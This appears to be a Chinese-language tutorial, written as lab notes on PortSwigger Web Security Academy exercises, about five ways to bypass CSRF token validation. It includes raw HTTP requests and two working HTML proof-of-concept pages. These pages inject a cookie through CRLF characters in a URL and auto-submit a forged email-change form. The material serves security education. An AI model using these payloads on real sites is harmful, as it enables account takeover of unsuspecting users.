CSRF Token是由伺服器端應用程式產生並與客戶端共用的唯一、秘密且不可預測的值。當發出執行敏感操作(例如提交表單)的請求時,客戶端必須包含正確的 CSRF Token。否則,伺服器將拒絕執行請求的操作。
與客戶端共用 CSRF Token的常見方法是將它們作為隱藏參數包含在 HTML 表單中,如下:
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>
提交此表單會產生以下請求
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com
由於攻擊者無法預測 CSRF 令牌的正確值,因此他們無法將其包含在惡意請求中,從而有助於防止 CSRF 攻擊。但CSRF Token機制在驗證時沒設計好容易被饒過,常見缺陷說明如下
使用GET
某些應用程式在請求使用 POST 方法時正確驗證令牌,但在使用 GET 方法時會跳過驗證
假如有一個需要CSRFtoken的POST請求如下
POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com&csrf=Odxoj2H1IQjRpXQS1Lr48QL60BmEfWIh
但因為換成以下GET方法,送出請求可成功饒過token保護
GET /email/change-email?email=test%40gmail.com&csrf=abc HTTP/1.1
...omit...
Lab: CSRF where token validation depends on request method
省略參數
某些應用程式會在令牌存在時正確驗證令牌,但如果令牌被省略,則會跳過驗證。
例如把原本的csrf參數拿掉,如下,送出請求可成功饒過token保護
POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com
Lab: CSRF where token validation depends on token being present
使用任何Token
某些應用程式不會驗證token是否與發出請求的使用者屬於同一會話。所以攻擊者可以使用自己的帳戶登入應用程序,取得有效token,然後在 CSRF 攻擊中將該令牌提供給受害者使用者。
如下,正常情況下需要使用的token為Odxoj2H1IQjRpXQS1Lr48QL60BmEfWIh,但因為系統有漏洞,所以我用其他帳號產生的token:ChMCfL6zII3jOfSWN3hPabevqBQbN7mX如下,由於該token也的確是服務器產生的,因此送出請求可成功饒過token保護
POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com&csrf=ChMCfL6zII3jOfSWN3hPabevqBQbN7mX
Lab: CSRF where token is not tied to user session
設定cookie挷定token
某些應用程式會將token和csrfkey cookie
挷定在一起,使用別人的token就無法通過。但如果網站存在讓攻擊者在受害者瀏覽器中設定 cookie
的漏洞,可以偽造別人的csrfkey cookie
並搭配別人的token,一樣也能饒過token保護
假設某一網站的修改email流程如下,一開始會有表單,並產生token:VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO
########### request ############
GET /email HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=HVWbkOTIhdnWT8xT3RRgGz7o6Gbfg2iC
########### response ###########
...omit...
<form class="login-form" action="/email/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type=hidden name=csrf value=VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO>
<button class='button' type='submit'> Update email </button>
</form>
...omit...
確認表單送出請求後,會帶上token參數,這必須要和cookie
中的csrfKey挷定,只要有一方不對服務器就會拒絕此請求
Cookie
裡csrfKey會挷定token參數,每次登入csrfKey都不變。但Cookie
裡的session
參數是用於身份確認,因此每次登入都不同,如下。
POST /email/change-email HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=HVWbkOTIhdnWT8xT3RRgGz7o6Gbfg2iC
email=c%40gmail.com&csrf=VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO
重新登入後session
發生變化,但csrfKey不變,如下
GET /?search=test HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=ePwzKMNVTh0uc7svlkGKdkOF7mqXbbf2
建立一個攻擊頁面,token參數設為VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO,但cookie
內的csrfkey參數要透過漏洞設定成ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao,可在讀取圖片網址後加上Set-Cookie到達修改cookie
的效果,如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net/email/change-email" method="POST">
<input type="hidden" name="email" value="c@gmail.com" />
<input type="hidden" name="csrf" value="VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO" />
</form>
<img src="https://ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao" onerror="document.forms[0].submit()">
</body>
</html>
當受害者開啟攻擊頁面時,就會把原本的csrfkey改成ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao並送出請求,符合csrfkey和token挷定結果,因此可成功饒過token保護
Lab: CSRF where token is tied to non-session cookie
設定cookie創建有效token
有些應用的token是直接複制cookie
中的參數,當驗證後續請求時,應用程式只需驗證請求參數中提交的token是否與 cookie
中提交的值相符。但如果網站存在 cookie
設定漏洞,可以直接修改cookie
的值,等同可以自己創建token值。
假設某一網站的修改email流程如下,一開始會有表單,並產生token:IwTpaentaermvyJZpnRszP2ByM4U1gdj,但這和cookie中的csrf值是一樣的
########### request ############
GET /email HTTP/1.1
Host: acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net
...omit...
Cookie: LastSearchTerm=test; csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj; session=qCuAvd25MbYj2v76OPkS7UGE6ruTWoGU
########### response############
...omit...
<form class="login-form" action="/email/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="IwTpaentaermvyJZpnRszP2ByM4U1gdj">
<button class='button' type='submit'> Update email </button>
</form>
...omit...
確認表單送出請求後,會帶上token參數,由於和cookie
中的csrf參數相同,因此服務器接受此請求
POST /email/change-email HTTP/1.1
Host: acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net
...omit...
Cookie: LastSearchTerm=test; csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj; session=qCuAvd25MbYj2v76OPkS7UGE6ruTWoGU
email=test%40gmail.com&csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj
建立一個攻擊頁面,讓cookie
內的csrf參數設定為fake,可在讀取圖片網址後加上Set-Cookie到達修改cookie
的效果。然後token也設定為fake,如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<img src="https://acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();"/>
<form action="https://acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net/email/change-email" method="POST">
<input type="hidden" name="email" value="test@gmail.com" />
<input type="hidden" name="csrf" value="fake" />
</form>
</body>
</html>
當受害者開啟攻擊頁面時,就會把原本的cookie
內的csrf改成fake,在送出請求時因為token也是設定fake,滿足服務器2個相符的條件,因此可成功饒過token保護
Lab: CSRF where token is duplicated in cookie